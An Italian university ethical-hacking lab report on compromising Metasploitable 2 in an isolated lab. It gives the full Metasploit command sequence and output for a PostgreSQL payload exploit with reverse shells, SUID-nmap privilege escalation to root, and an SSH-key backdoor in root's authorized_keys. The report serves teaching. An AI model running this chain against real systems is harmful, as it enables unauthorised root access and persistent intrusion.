

CYBERSECURITY & ETHICAL HACKING

Exploitation PostgreSQL · Privilege Escalation · Backdoor SSH persistente

Corso	Cybersecurity & Ethical Hacking
Anno Accademico	2025/2026
Esercitazione	Hacking con Metasploit 2
Data	20 maggio 2026
Macchina attaccante	Kali Linux 2026.1 — 192.168.1.164 (Oracle VirtualBox, Bridged)
Macchina target	Metasploitable 2.0 — 192.168.1.149 (Oracle VirtualBox, Bridged)
Strumenti	nmap, Metasploit Framework (msfconsole)

Questa esercitazione viene svolta in un ambiente di laboratorio completamente isolato e controllato, allestito esclusivamente per scopi didattici. Tutte le tecniche descritte sono applicate su macchine virtuali configurate ad hoc e non rappresentano in alcun modo un utilizzo improprio o illecito degli strumenti presentati.

1. Introduzione

In questa seconda esercitazione dedicata a Metasploit, ho approfondito alcune delle funzionalità più avanzate del framework, muovendomi da una semplice compromissione iniziale fino al controllo completo del sistema target. Il punto di partenza è stato il servizio PostgreSQL presente su Metasploitable 2, un database esposto senza adeguate protezioni e vulnerabile a un exploit specifico del Metasploit Framework.

Ho cominciato con una fase di ricognizione tramite nmap, per confermare la presenza del servizio sulla porta 5432 e raccogliere informazioni sulla versione del database. Successivamente ho sfruttato il modulo **exploit/linux/postgres/postgres_payload** per ottenere una sessione Meterpreter attiva, che mi ha dato un primo accesso al sistema come utente *postgres*, un account con privilegi molto limitati.

Con l'accesso ottenuto, ho utilizzato il modulo **post/multi/recon/local_exploit_suggester** per analizzare il sistema alla ricerca di vulnerabilità locali sfruttabili per scalare i privilegi. Tra i moduli suggeriti, ho scelto **exploit/unix/local/setuid_nmap**, che sfrutta il fatto che */usr/bin/nmap* è configurato con il bit SUID: questo mi ha permesso di ottenere una shell con privilegi root, successivamente convertita in sessione Meterpreter completa tramite il modulo **post/multi/manage/shell_to_meterpreter**.

Nella fase finale, ho installato una backdoor persistente basata su chiavi SSH usando il modulo **exploit/multi/persistence/ssh_key**. Ho quindi verificato che fosse possibile rientrare nel sistema in un momento successivo senza bisogno dell'exploit originale, dimostrando l'efficacia del meccanismo di persistenza tramite il modulo **auxiliary/scanner/ssh/ssh_login** e la chiave privata salvata automaticamente nel loot di Metasploit.

2. Obiettivi

1	Sfruttare il modulo exploit/linux/postgres/postgres_payload per compromettere il servizio PostgreSQL di Metasploitable 2 e ottenere una sessione Meterpreter iniziale.
2	Eseguire un'escalation di privilegi da utente limitato (<i>postgres</i>) a root utilizzando esclusivamente gli strumenti disponibili in <i>msfconsole</i> .
3	Utilizzare il modulo post/multi/recon/local_exploit_suggester per identificare le vulnerabilità locali presenti sul sistema target e scegliere il vettore di attacco più adatto.
4	Installare una backdoor persistente tramite exploit/multi/persistence/ssh_key e dimostrare l'accesso al sistema target in una sessione successiva all'exploit iniziale.

3. Ambiente e Strumenti

Macchina attaccante	Kali Linux 2026.1 — IP: 192.168.1.164 — Oracle VirtualBox, Bridged Adapter

Macchina target	Metasploitable 2.0 (Ubuntu 8.04, kernel 2.6.24-16-server, i686 GNU/Linux) — IP: 192.168.1.149
Hypervisor	Oracle VirtualBox — entrambe le VM in modalita Bridged per condivisione della rete locale
Strumenti	nmap (ricognizione porte e servizi), Metasploit Framework msfconsole (moduli exploit, post e auxiliary)
Servizio target	PostgreSQL 8.3.1 on i486-pc-linux-gnu, compilato con GCC 4.2.3 (Ubuntu 4.2.3-2ubuntu4), porta 5432/tcp

4. Procedura

Ricognizione iniziale con nmap

STEP 1

Prima di avviare qualsiasi exploit, ho eseguito una scansione nmap sul target 192.168.1.149 per verificare che il servizio PostgreSQL fosse attivo e raccogliere informazioni sulla versione in esecuzione. Ho usato il flag `-sV` per il rilevamento dei servizi abbinato agli script NSE dedicati a PostgreSQL.

Il risultato ha confermato la presenza di PostgreSQL sulla porta 5432/tcp in stato open, versione "PostgreSQL DB 8.3.0-8.3.7". nmap ha anche estratto il certificato SSL del servizio: rilasciato per `ubuntu804-base.localdomain`, firma RSA a 1024 bit, scaduto nel 2010 (not valid after: 2010-04-16). La scansione è stata eseguita il 20/05/2026 alle 13:27:18.

```
5432/tcp open  postgresql syn-ack ttl 64 PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countr
yName=XX/localityName=Everywhere/emailAddress=root@ubuntu804-base.localdomain/organizationalUnitName=Office for Complication of Otherwise Simp
le Affairs
| Issuer: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX/lo
calityName=Everywhere/emailAddress=root@ubuntu804-base.localdomain/organizationalUnitName=Office for Complication of Otherwise Simple Affairs
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2010-03-17T14:07:45
| Not valid after: 2010-04-16T14:07:45
| MD5: dcd9 ad90 6c8f 2f73 74af 383b 2540 8828
| SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6
| SHA-256: e7a7 fa0d 63e4 57c7 c4a5 9b38 b708 49c6 a70b da6f 830c 7af1 e32d ee43 6de8 13cc
|-----BEGIN CERTIFICATE-----
| MIIDWzCCAsQCCQD6+TpMf7a5zDANBgkqhkiG9w0BAQUFADCBSTELMAkGA1UEBhMC
| WFGxKjAoBgNVBAGTIVRoZXJlIGlzIG5vIHNIY2ggdGhpbmcgb3V0c2lkZSBVUzET
| MBEGA1UEBxMKRXZlcnl3aGVyZTEOMAwGA1UECHMFT0NPU0ExPDA6BGNVBAStM09m
| ZmljZSBmb3IgcQ29tcGxpY2F0aW9uIG9mIE90aGVyd2lZSBTaW1wbGUgQWZmYWly
| czeJMCCEGA1UEAxMhZj1bnR1ODAwLWJhc2UubG9jYXxkb21haW4xLjAsBgkqhkiG
| 9w0BCQEWH3Jvb3RAZWJ1bnR1ODAwLWJhc2UubG9jYXxkb21haW4wHhcNMTAwMzE3
| MTQwNzQ1WncNMTAwNDE2MTQwNzQ1WjCBSTELMAkGA1UEBhMCWFxKjAoBgNVBAGT
| IVRoZXJlIGlzIG5vIHNIY2ggdGhpbmcgb3V0c2lkZSBVUzETMBEGA1UEBxMKRXZl
| cnl3aGVyZTEOMAwGA1UECHMFT0NPU0ExPDA6BGNVBAStM09mZmljZSBmb3IgcQ29t
| cGxpY2F0aW9uIG9mIE90aGVyd2lZSBTaW1wbGUgQWZmYWlyczeJMCCEGA1UEAxMa
| dWJ1bnR1ODAwLWJhc2UubG9jYXxkb21haW4xLjAsBgkqhkiG9w0BCQEWH3Jvb3RA
| dWJ1bnR1ODAwLWJhc2UubG9jYXxkb21haW4wZ8wDQYJKoZIhvcNAQEBBQADgY0A
| MIGJAoGBANa0EzYzmpVxexvefIN12nGxPKL//q1kG3fPT66+ytT4y++uu0N5JHP/
| P0We0238yLGs+KxNXptMmVQL16hKULqp3h0f9ORrAqP0a0XNTK+NiWiZj2W7NmGJ
| xCzxU4uoKgUtpHwRmG70bkx34yZ7nVreTxAoK6XAjCd3JkNM6S1AgMBAAEwDQYJ
| KoZIhvcNAQFBQADgYEAkqS0uBRVYyVRsgvDKiLP0vgXagzPZqqnZS9Tbc3jPlYf
| d2ZURFQfHoRptjSN3awtiAKhqNpWLKfPELoNR1DNPtI4IGS10JsE1Ze4RaInQ
| U0qcJ8ugt0mNKQyPBhcZ8xTph4w0Kome6uLkpAWwuvKIZLHwVbo0w0PbKLU=
|-----END CERTIFICATE-----
|_ssl-date: 2026-05-20T13:27:18+00:00; -1s from scanner time.
```

Fig. 1 — Output nmap: porta 5432/tcp aperta, versione PostgreSQL 8.3.0-8.3.7, certificato SSL scaduto nel 2010

Configurazione del modulo exploit in msfconsole

STEP 2

Ho avviato msfconsole e caricato il modulo exploit/linux/postgres/postgres_payload, progettato per sfruttare PostgreSQL su sistemi Linux. Il modulo carica una shared library (.so) nel processo del database tramite le funzionalita native di large object e pg_temp: su Metasploitable 2, PostgreSQL accetta connessioni con l'utente postgres senza autenticazione reale.

Ho impostato RHOSTS a 192.168.1.149, attivato VERBOSE=true per avere il massimo dettaglio dell'output durante l'esecuzione, e lasciato il payload predefinito. Il reverse handler è stato configurato automaticamente su 192.168.1.164:4444.

Esecuzione dell'exploit e apertura sessione Meterpreter

STEP 3

Ho lanciato exploit e seguito attentamente l'output. Il modulo si è connesso a 192.168.1.149:5432/postgres, ha interrogato il database con "select version()" ottenendo "PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)", confermando la versione esatta del target.

Il modulo ha poi rimosso eventuali large object residui (loid 16384), caricato il payload binario codificato in base64 tramite INSERT su pg_largeobject, esportato il file .so in /tmp/wEGQcftV.so con lo_export e creato la funzione C temporanea pg_temp.CQKOCgsFZu() per eseguirlo. Il risultato finale è stata l'apertura di Meterpreter session 1 (192.168.1.164:4444 -> 192.168.1.149:39704) alle 15:37:24 del 20/05/2026.

```
msf exploit(tcp/payload/postgres_payload) > set VERBOSE true
VERBOSE => true
msf exploit(linux/postgres/postgres_payload) > exploit
[*] Started reverse TCP handler on 192.168.1.164:4444
[*] 192.168.1.149:5432 - Trying postgres:postgres@192.168.1.149:5432/postgres
[*] 192.168.1.149:5432 - 192.168.1.149:5432 Postgres - querying with 'select version()'
[*] 192.168.1.149:5432 - 192.168.1.149:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] 192.168.1.149:5432 - 192.168.1.149:5432 Postgres - querying with 'select lo_create(-1)'
[*] 192.168.1.149:5432 - 192.168.1.149:5432 Postgres - querying with 'delete from pg_largeobject where loid=16384'
[*] 192.168.1.149:5432 - 192.168.1.149:5432 Postgres - querying with 'insert into pg_largeobject (loid,pageno,data) values(16384,0,decode('f
0VMRGEBQAQAAAAAAAAAAAAAAAwBAAAAAaaaaADgAABABAAAAaaDAAD0IAAEAgCdGdANAAAAaaaAGAAAaOAAADAgAAAAaAAAAaGAaiaaafFAAAAAaAAAAaAAAAaAAAAaAUwAwA
AFMAwAAUAAAAaAAAAaAAABGDAAAYEWAAGBAACgBAAAOoAQABgAAAAaQAAAAaCAAMAAJgTAAcyEWaAgAAATIAAAaAGAAAAaAAAAaBwwAAAAkAwAAZAAAAaCAAAABAAAAaAAAAaAAAAaV
G1wL3dFRlNjRwLnNvaAAsBwJjLnNvJjKhAbXbyBzW1j3qAX2Y4xQAZm9yawB1bmxbpmbsAMAIATAAHHAaaaaaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAa
AAAAAAAAAGCUAAHHAQAALBQAACCAAWFAAABwMADQUAAABAAAGBOQAACFAAA8FAABwBYAUAHGUAATIAAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAa
AASAAAAFwAAAAaAAAAaAAAAaAGCAAAAAaAAAAaAAAAaABTBtAAAMAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAa
qaOh6AAAAG8QYIXszanZoXAAAtIngYvTAETAAAP91/OhxAAGAAG8QMagdoABAAP91/OhXAAGAAG8QMhcB0CmoB6HsAACDxDxtAiAAAAIXAdQp/VfzoFWaAAInGjYZP/v/UIIDAAAAG8QEX
luJ7F3D6AAAABYG8BDwt/cWt/Ywjov6//42YLxEAAP9jDGoa6eX//oif//42YLxEAAP9jGoId6D//owp//42YLxEAAP9jFGob6yab//oo//42YLxEAAP9jGog6yb//
oLv//42YLxEAAP9jHgog6ZH//ogf//42YLxEAAP9jGgo6Xz//8AAAAAGagpeMdV341NDU2OcGsJa342AlitowkgBpBgCABFCieFqZlnHQVUEj4UPNGIXAeRTODdIooGAAAFhqAGoFi
emxyCzHcb5vesnsge5ABAAAnJjwsEMwMsH3NgIXAebBBiegZsmawA82Hcb4B4v/huEAAC7AQAAAM2AAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAa
ABAAAAAGBBAADAaAHBHQAABCAABTAQAAAAAGAAADAAAAAUAAAEAQAAABMAAAATAAAAEQAHAHBGAASAAAAAACAaaaaYAACAAQAACwAAABAAAAaAAAAaAAAAaAAAAaAAAAaAAAAa
gaAuQTIAAMECAADjAgAA/ATAAAD0AAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAa
DAAAAAGAAAAUAAAD1AAAAEMAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAa
AATAAAACAAAAAACAADAAAAJAAGAAAGHBABABQAQCAAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAa
BAACFAAAAAaAAAAaAAAAaAAAAaCAAAACQAAABAAAAABGAAGAAAJCAACQAgAhAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAa
AYAAAAaAAAAAmBMJAjgdAACAAAAAGAAAAAGAAATAAAAAACEAYAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAa
AAQAGV4daAUZGF0YwAu5pdF9hcnJheQuAZH2GBnBsdaUCzhzdHJ0YWVki','base64'))'
[*] 192.168.1.149:5432 - 192.168.1.149:5432 Postgres - querying with 'select lo_export(16384,'/tmp/wEGQCftv.so')'
[*] 192.168.1.149:5432 - Uploaded as /tmp/wEGQCftv.so, should be cleaned up automatically
[*] 192.168.1.149:5432 - 192.168.1.149:5432 Postgres - querying with 'create or replace function pg_temp.CQKOCgsFzu() returns void as '/tmp/WEG
QCftv.so','CQKOCgsFzu' language c strict immutable'
[*] Transmitting intermediate stager... (102 bytes)
[*] 192.168.1.149:5432 - 192.168.1.149:5432 Postgres - Disconnected
[*] Sending stage (1062760 bytes) to 192.168.1.149
[*] Meterpreter session 1 opened (192.168.1.164:4444 → 192.168.1.149:39704) at 2026-05-20 15:37:24 +0200
```

Fig. 2 — Exploit con VERBOSE=true: upload payload SO, creazione funzione pg temp, apertura Meterpreter session 1

Identificazione vulnerabilit  locali con local_exploit_suggester

Tornato al prompt di msfconsole, ho caricato post/multi/recon/local_exploit_suggester, che analizza il sistema target attraverso la sessione Meterpreter eseguendo centinaia di controlli rapidi per valutare la compatibilit  con gli exploit locali noti nel database di Metasploit. Ho impostato SESSION=1 e lanciato run.

Il suggester ha completato 252 controlli sull'architettura x86/linux del target. Tra i risultati positivi (flag "Yes") ho trovato: exploit/linux/local/glibc_ld_audit_dso_load_priv_esc, exploit/linux/local/glibc_origin_expansion_priv_esc, exploit/linux/local/netfilter_priv_esc_ipv4, exploit/linux/local/ptrace_sudo_token_priv_esc, exploit/linux/local/su_login, exploit/linux/persistence/autostart, exploit/multi/persistence/cron, exploit/multi/persistence/ssh_key e exploit/unix/local/setuid_nmap ("The target is vulnerable. /usr/bin/nmap is setuid"). Tre moduli sono stati esclusi: ad esempio af_packet_chocobo_root_priv_esc non era compatibile perche l'architettura i686 non e supportata.

Ho scelto exploit/unix/local/setuid_nmap perche il check result era esplicito e verificabile: se nmap ha il bit SUID impostato, puo eseguire comandi arbitrari come root tramite il suo interprete Lua integrato, senza necessita di modificare file di sistema.

```
msf post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf post(multi/recon/local_exploit_suggester) > run
[*] 192.168.1.149 - Collecting local exploits for x86/linux...
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here
[*] 192.168.1.149 - 252 exploit checks are being tried...
[*] 192.168.1.149 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable. GNU C Library version 2.7 appears to be vulnerable
[*] 192.168.1.149 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable. Target appears to be vulnerable
[*] 192.168.1.149 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable. Target appears to be vulnerable
[*] 192.168.1.149 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated. Target appears to be exploitable
[*] 192.168.1.149 - exploit/linux/local/su_login: The target appears to be vulnerable. Target appears to be vulnerable
[*] 192.168.1.149 - exploit/linux/persistence/autostart: The service is running, but could not be validated. Xorg is installed, possible desktop install.
[*] 192.168.1.149 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] 192.168.1.149 - exploit/multi/persistence/ssh_key: The target appears to be vulnerable. Likely vulnerable
[*] 192.168.1.149 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[*] 192.168.1.149 - Valid modules for session 1:

# Name Potentially Vulnerable? Check Result
- - -
1 exploit/linux/local/glibc_ld_audit_dso_load_priv_esc Yes The target appears to be vulnerable. GNU C Library version 2.7 appears to be vulnerable
2 exploit/linux/local/glibc_origin_expansion_priv_esc Yes The target appears to be vulnerable. Target appears to be vulnerable
3 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable. Target appears to be vulnerable
4 exploit/linux/local/ptrace_sudo_token_priv_esc Yes The service is running, but could not be validated. Target appears to be exploitable
5 exploit/linux/local/su_login Yes The target appears to be vulnerable. Target appears to be vulnerable
6 exploit/linux/persistence/autostart Yes The service is running, but could not be validated. Xorg is installed, possible desktop install.
7 exploit/multi/persistence/cron Yes The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
8 exploit/multi/persistence/ssh_key Yes The target appears to be vulnerable. Likely vulnerable
9 exploit/unix/local/setuid_nmap Yes The target is vulnerable. /usr/bin/nmap is setuid
10 exploit/linux/local/af_packet_chocobo_root_priv_esc No The target is not exploitable. System is not configured to use ABRT for crash reporting
11 exploit/linux/local/af_packet_chocobo_root_priv_esc No The target is not exploitable. System is not configured to use ABRT for crash reporting
12 exploit/linux/local/af_packet_chocobo_root_priv_esc No The target is not exploitable. System architecture i686 is not supported
```

Fig. 3 — Output local_exploit_suggester: 252 controlli, 9 vulnerabilit  confermate tra cui setuid_nmap e moduli di persistenza SSH/cron

STEP 5

Escalation di privilegi con exploit/unix/local/setuid_nmap

Ho caricato exploit/unix/local/setuid_nmap e impostato SESSION=1 in modo che operasse sulla sessione Meterpreter attiva come utente postgres. Ho verificato dalla lista delle sessioni che la sessione 1 fosse ancora viva: meterpreter x86/linux, postgres @ metasploitable.localdomain, 192.168.1.164:4444 -> 192.168.1.149:39704.

Al lancio, il framework ha avviato un reverse TCP double handler sulla porta 4444, ha caricato lo script Lua /tmp/sVVMRELS.nse sul sistema target ed eseguito nmap con quel script. Poiche nmap e SUID root, lo script e stato eseguito con i privilegi di root e ha aperto una connessione verso il listener di Kali. Il modulo ha verificato il token di risposta ("v6pwQXYvusZ2k7JY") confermando la comunicazione bidirezionale. Il risultato e stata l'apertura di Command shell session 2 (192.168.1.164:4444 -> 192.168.1.149:53120) alle 16:09:41. In questa fase disponevo di una shell root ma di tipo cmd/unix.

```
msf exploit(unix/local/setuid_nmap) > sessions

Active sessions
=====

```

Id	Name	Type	Information	Connection
1		meterpreter	x86/linux postgres @ metasploitable.localdomain	192.168.1.164:4444 → 192.168.1.149:39704 (192.168.1.149)

```
msf exploit(unix/local/setuid_nmap) > run
[*] Started reverse TCP double handler on 192.168.1.164:4444
[*] Dropping lua /tmp/sVVMRELS.nse
[*] Running /tmp/sVVMRELS.nse with Nmap
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo v6pwQXYvusZ2k7JY;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "v6pwQXYvusZ2k7JY\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (192.168.1.164:4444 → 192.168.1.149:53120) at 2026-05-20 16:09:41 +0200
```

Fig. 4 — Exploit setuid_nmap: drop dello script Lua, verifica token, apertura Command shell session 2 (root) alle 16:09:41

STEP 6

Upgrade della shell cmd/unix a Meterpreter root

Una shell di tipo cmd/unix e meno comoda rispetto a Meterpreter per le operazioni successive, mancando di funzionalita avanzate come il filesystem virtuale e i comandi integrati. Ho usato il modulo post/multi/manage/shell_to_meterpreter che converte una sessione shell ordinaria in una Meterpreter completa, inviando lo stage Meterpreter al target via TCP.

Ho impostato SESSION=2 e lanciato run. Il modulo ha avviato un handler sulla porta 4433, inviato lo stage da 1.062.760 byte al target e completato il command stager (773/773 byte, 100%). E stata aperta Meterpreter session 4 (192.168.1.164:4433 -> 192.168.1.149:40926) alle 16:40:51. Ho interagito con la sessione 4 tramite sessions -i 4 e lanciato getuid: la risposta "Server username: root" ha confermato il pieno controllo root sul sistema tramite una sessione Meterpreter completa.

```
msf post(multi/manage/shell_to_meterpreter) > sessions

Active sessions

--
Id  Name  Type  Information  Connection
--
1   meterpreter x86/linux postgres @ metasploitable.localdomain 192.168.1.164:4444 → 192.168.1.149:39704 (192.168.1.149)
2   shell cmd/unix 192.168.1.164:4444 → 192.168.1.149:53120 (192.168.1.149)

msf post(multi/manage/shell_to_meterpreter) > set SESSION 2
SESSION ⇒ 2
msf post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.1.164:4433
[*] Sending stage (1062760 bytes) to 192.168.1.149
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > [*] Meterpreter session 4 opened (192.168.1.164:4433 → 192.168.1.149:40926) at 2026-05-20 16:40:51 +0200

[*] Stopping exploit/multi/handler
sessions

Active sessions

--
Id  Name  Type  Information  Connection
--
1   meterpreter x86/linux postgres @ metasploitable.localdomain 192.168.1.164:4444 → 192.168.1.149:39704 (192.168.1.149)
2   shell cmd/unix 192.168.1.164:4444 → 192.168.1.149:53120 (192.168.1.149)
4   meterpreter x86/linux root @ metasploitable.localdomain 192.168.1.164:4433 → 192.168.1.149:40926 (192.168.1.149)

msf post(multi/manage/shell_to_meterpreter) > sessions -i 4
[*] Starting interaction with 4 ...

meterpreter > getuid
Server username: root
```

Fig. 5 — Modulo shell_to_meterpreter: upgrade sessione 2 (shell root) a Meterpreter session 4 (root) — getuid conferma "Server username: root"

```
kali@kali: ~/Desktop

Session Actions Edit View Help

Module options (post/multi/manage/shell_to_meterpreter):

Name      Current Setting  Required  Description
--
HANDLER    true             yes       Start an exploit/multi/handler to receive the connection
LHOST      192.168.1.164    no        IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT      4433             yes       Port for payload to connect to.
SESSION    4433             yes       The session to run this module on

View the full module info with the info, or info -d command.

msf post(multi/manage/shell_to_meterpreter) > sessions

Active sessions

--
Id  Name  Type  Information  Connection
--
1   meterpreter x86/linux postgres @ metasploitable.localdomain 192.168.1.164:4444 → 192.168.1.149:39704 (192.168.1.149)
2   shell cmd/unix 192.168.1.164:4444 → 192.168.1.149:53120 (192.168.1.149)

msf post(multi/manage/shell_to_meterpreter) > set SESSION 2
SESSION ⇒ 2
msf post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.1.164:4433
[*] Sending stage (1062760 bytes) to 192.168.1.149
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > [*] Meterpreter session 4 opened (192.168.1.164:4433 → 192.168.1.149:40926) at 2026-05-20 16:40:51 +0200

[*] Stopping exploit/multi/handler
sessions

Active sessions

--
Id  Name  Type  Information  Connection
--
1   meterpreter x86/linux postgres @ metasploitable.localdomain 192.168.1.164:4444 → 192.168.1.149:39704 (192.168.1.149)
2   shell cmd/unix 192.168.1.164:4444 → 192.168.1.149:53120 (192.168.1.149)
4   meterpreter x86/linux root @ metasploitable.localdomain 192.168.1.164:4433 → 192.168.1.149:40926 (192.168.1.149)

msf post(multi/manage/shell_to_meterpreter) > sessions -i 4
[*] Starting interaction with 4 ...

meterpreter > getuid
Server username: root
```

Fig. 6 — Vista completa del terminale kali@kali:~/Desktop: sessioni attive 1 (postgres), 2 (shell cmd/unix root) e 4 (Meterpreter root)

STEP 7

Installazione della backdoor SSH persistente

Con la sessione Meterpreter root attiva (sessione 4), ho usato il modulo exploit/multi/persistence/ssh_key per installare una backdoor SSH persistente. Il modulo genera una nuova coppia di chiavi RSA, aggiunge la chiave pubblica agli authorized_keys degli utenti sul sistema target e salva la chiave privata nel loot locale di Kali per un riutilizzo futuro.

Dall'output ho osservato che la chiave privata è stata salvata in /home/kali/.msf4/loot/20260520170931_default_192.168.1.149_id_rsa_706427.txt (con indicazione di impostare i permessi a 600). La chiave pubblica è stata aggiunta sia a /home/msfadmin/.ssh/authorized_keys che a /root/.ssh/authorized_keys, con la conferma "Persistence installed!" per entrambi gli account. È stato generato anche un file RC di cleanup per rimuovere la backdoor in modo ordinato se necessario.

```
[*] Storing new private key as /home/kali/.msf4/loot/20260520170931_default_192.168.1.149_id_rsa_706427.txt. Change the permissions to 600 before using it
[*] Adding key to /home/msfadmin/.ssh/authorized_keys
[*] Persistence installed! Call a shell using 'ssh -i /home/kali/.msf4/loot/20260520170931_default_192.168.1.149_id_rsa_706427.txt <username>@192.168.1.149'
[*] use auxiliary/scanner/ssh/ssh_login
[*] run KEY_PATH=/home/kali/.msf4/loot/20260520170931_default_192.168.1.149_id_rsa_706427.txt RHOSTS=192.168.1.149 USERNAME=<username>
[*] Adding key to /root/.ssh/authorized_keys
[*] Persistence installed! Call a shell using 'ssh -i /home/kali/.msf4/loot/20260520170931_default_192.168.1.149_id_rsa_706427.txt <username>@192.168.1.149'
[*] use auxiliary/scanner/ssh/ssh_login
[*] run KEY_PATH=/home/kali/.msf4/loot/20260520170931_default_192.168.1.149_id_rsa_706427.txt RHOSTS=192.168.1.149 USERNAME=<username>
[*] Meterpreter-compatible Cleanup RC file: /home/kali/.msf4/logs/persistence/metasploitable.localdomain_20260520.0936/metasploitable.localdomain_20260520.0936.rc
meterpreter > |
```

Fig. 7 — Output del modulo ssh_key: chiave privata nel loot, pubblica aggiunta agli authorized_keys di msfadmin e root — "Persistence installed!"

STEP 8

Verifica dell'accesso tramite backdoor SSH

Per dimostrare concretamente il funzionamento della backdoor, ho copiato la chiave privata in /home/kali/Desktop/key1.txt e caricato il modulo auxiliary/scanner/ssh/ssh_login in msfconsole. Ho configurato i parametri: KEY_PATH=/home/kali/Desktop/key1.txt, RHOSTS=192.168.1.149, USERNAME=root.

Al lancio, il modulo ha avviato una connessione SSH verso la porta 22 del target. La risposta è arrivata quasi istantaneamente: "Success: uid=0(root) gid=0(root) groups=0(root) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux". È stata aperta SSH session 6 (192.168.1.164:41181 -> 192.168.1.149:22) alle 17:34:22. Interagendo con sessions -i 6, il sistema ha mostrato direttamente il prompt root@metasploitable:~#, confermando l'accesso root completo via backdoor senza necessità di rieseguire l'exploit PostgreSQL originale.


```
msf auxiliary(scanner/ssh/ssh_login) > run KEY_PATH=/home/kali/Desktop/key1.txt RHOSTS=192.168.1.149 USERNAME=root
[*] 192.168.1.149:22 - Starting bruteforce
[*] 192.168.1.149:22 SSH - Testing Cleartext Keys
[*] 192.168.1.149:22 - Success: 'uid=0(root) gid=0(root) groups=0(root) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] SSH session 6 opened (192.168.1.164:41181 → 192.168.1.149:22) at 2026-05-20 17:34:22 +0200
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/ssh/ssh_login) > sessions

Active sessions
-----
Id  Name  Type      Information  Connection
--  -
6   shell linux  SSH kali @  192.168.1.164:41181 → 192.168.1.149:22 (192.168.1.149)

msf auxiliary(scanner/ssh/ssh_login) > sessions -i 6
[*] Starting interaction with 6 ...

stdin: is not a tty
shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using 'python' to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash

root@metasploitable:~#
```

Fig. 8 — Verifica backdoor: ssh_login usa la chiave privata nel loot e ottiene SSH session 6 come root — prompt root@metasploitable:~#

5. Appendice: Sequenza dei Comandi Principali

Ricognizione con nmap

```
nmap -sV -p 5432 --script postgres-info 192.168.1.149
```

Exploitation PostgreSQL

```
use exploit/linux/postgres/postgres_payload
set RHOSTS 192.168.1.149
set VERBOSE true
exploit
```

Analisi vulnerabilita locali

```
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
```

Privilege escalation con setuid_nmap

```
use exploit/unix/local/setuid_nmap
set SESSION 1
run
```

Upgrade shell a Meterpreter root

```
use post/multi/manage/shell_to_meterpreter
set SESSION 2
run
sessions -i 4
getuid
```

Installazione backdoor SSH

```
# dalla sessione Meterpreter root (sessione 4)
use exploit/multi/persistence/ssh_key
run
```

Verifica accesso backdoor

```
use auxiliary/scanner/ssh/ssh_login
set KEY_PATH /home/kali/Desktop/key1.txt
set RHOSTS 192.168.1.149
set USERNAME root
run
sessions -i 6
```

